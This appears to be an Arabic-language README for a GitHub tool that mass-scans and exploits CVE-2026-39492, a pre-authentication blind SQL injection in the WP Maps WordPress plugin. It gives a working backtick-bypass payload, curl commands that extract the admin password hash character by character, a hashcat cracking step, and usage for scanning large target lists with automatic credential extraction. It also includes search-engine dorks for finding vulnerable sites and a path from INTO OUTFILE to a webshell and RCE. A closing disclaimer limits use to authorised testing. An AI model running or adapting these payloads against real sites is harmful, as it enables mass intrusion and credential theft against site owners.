
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 ماسح ضخم لحقن SQL الأعمى غير المصادق عليه | كشف بأسلوب sqlmap | تجاوز backtick لـ esc_sql() | أكثر من 100 ألف تثبيت
CVE-2026-39492 هي ثغرة حقن SQL أعمى (Blind SQL Injection) بدون مصادقة بدرجة خطورة حرجة (CVSS 9.3) في إضافة WP Maps (wp-google-map-plugin) بالإصدارات ≤ 4.9.1.
يتم تسجيل معالج AJAX باسم wpgmp_ajax_call عبر wp_ajax_nopriv_ للوصول غير المصادق عليه. يتم تمرير معامل عبر — وهي دالة تتعامل بشكل غير صحيح مع باعتباره معرّف عمود SQL موثوقًا، متجاوزةً تمامًا تنقية في ووردبريس.
location_idFlipperCode_Model_Base::is_column()esc_sql()| إصدار WP Maps | الحالة |
|---|---|
| ≤ 4.9.1 | معرّض |
| ≥ 4.9.2 | مُعالَج |
عمليات التثبيت النشطة: 100,000+
في طبقة تجريد قاعدة البيانات الخاصة بالإضافة، تتحقق is_column() مما إذا كان إدخال المستخدم مغلّفًا بعلامات backtick:
// Vulnerable: backtick-wrapped input treated as trusted column identifier
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // bypasses esc_sql() entirely!
}
return false;
}
عندما تُرجع is_column() القيمة true، يتم تمرير الإدخال مباشرةً إلى استعلام SQL دون تهريب عبر esc_sql(). وهذا يسمح بما يلي:
location_id=`1` AND SLEEP(5) AND `1`=`1
| المقياس | القيمة |
|---|---|
| متجه الهجوم | شبكة (Network) |
| تعقيد الهجوم | منخفض |
| الامتيازات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق (Scope) | متغيّر (يؤثر على قاعدة البيانات بأكملها) |
| السرية | عالية |
| السلامة (التكاملية) | لا شيء |
| التوافرية | منخفضة |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# Single target detection
python cve_2026_39492.py -t target.com
# Mass scan
python cve_2026_39492.py -f targets.txt
# Mass scan + save results
python cve_2026_39492.py -f targets.txt -o sqli.txt
# Single target with credential extraction
python cve_2026_39492.py -t target.com --extract -v
# Verbose output
python cve_2026_39492.py -t target.com -v
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save vulnerable targets to file
--threads Concurrent workers (default: 20)
--extract Extract admin credentials from confirmed targets
-v, --verbose Show detailed output
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — WP Maps Blind SQL Injection Scanner
CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Backtick Bypass
Target: WP Maps (wp-google-map-plugin) <= 4.9.1
Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
Bypass: backtick-wrapped input bypasses esc_sql()
[+] WP Maps detected: v4.9.0
[*] SQLi test: 6.2s (threshold: 5s)
[+] Blind SQLi CONFIRMED (response: 6.2s)
Host : target.com
WP Maps : YES v4.9.0
SQLi : YES
Resp time : 6.2s
Time : 7.1s
$ python cve_2026_39492.py -t target.com --extract -v
[+] Blind SQLi CONFIRMED (response: 5.8s)
[*] Extracting admin credentials via blind SQLi...
[*] Extracting: admin_user
[*] Extracting: $P$BqVg...
Admin User : admin_user
Admin Hash : $P$BqVg7xX...
CVE-2026-39492 WP Maps Blind SQLi Scanner
Targets: 2500 | Threads: 20
Vector: wpgmp_ajax_call → location_id backtick bypass
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2s v4.9.0 resp:6.2s
[SQLi] wp-maps-site.com 5.8s v4.8.5 resp:5.8s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
Scan complete | Time: 320s
───────────────────────────────────────────────────────
Targets : 2500
WP Maps found : 47
SQLi confirmed : 12
الخطوة 1 — اكتشاف الإضافة
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
الخطوة 2 — اختبار حقن SQL باستخدام SLEEP
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# Response > 5 seconds → VULNERABLE
الخطوة 3 — استخراج تجزئة (hash) المشرف عبر حقن SQL الأعمى
# Check first character of admin hash
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# Response > 3 seconds → first char is ASCII 36 = '$'
الخطوة 4 — كسر التجزئة وتسجيل الدخول ← تنفيذ أوامر عن بُعد كامل (RCE)
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
الاستغلال الناجح يسمح باستخراج قاعدة بيانات ووردبريس بأكملها:
SELECT ... INTO OUTFILE ← ويب شيل (webshell) ← تنفيذ أوامر عن بُعد مباشر (RCE)لأغراض تعليمية وللاختبار المصرّح به فقط.
هذا البرنامج مخصص لمتخصصي الأمن الذين يجرون اختبارات اختراق مصرّحًا بها، وللمؤسسات التي تدقق البنية التحتية الخاصة بها، وللباحثين الذين يدرسون استغلال الثغرات.
الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني وقد ينتهك:
- الولايات المتحدة: قانون الاحتيال وإساءة استخدام الحاسوب (Computer Fraud and Abuse Act — 18 U.S.C. 1030)
- إندونيسيا: قانون UU ITE، المواد 30 و46
- الاتحاد الأوروبي: التوجيه 2013/40/EU
- المملكة المتحدة: قانون إساءة استخدام الحاسوب لعام 1990
لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.
| المصدر | الرابط |
|---|---|
| استشارة IONIX | ionix.io/threat-center/cve-2026-39492 |
| استشارة WPScan | wpscan.com/vulnerability/c1f19d2e |
| استشارة Wordfence | wordfence.com |
| إدخال NVD | CVE-2026-39492 |
| Trac الإضافة | wp-google-map-plugin |
هذا المشروع غير تابع لشركة Flipper Code أو لإضافة WP Maps.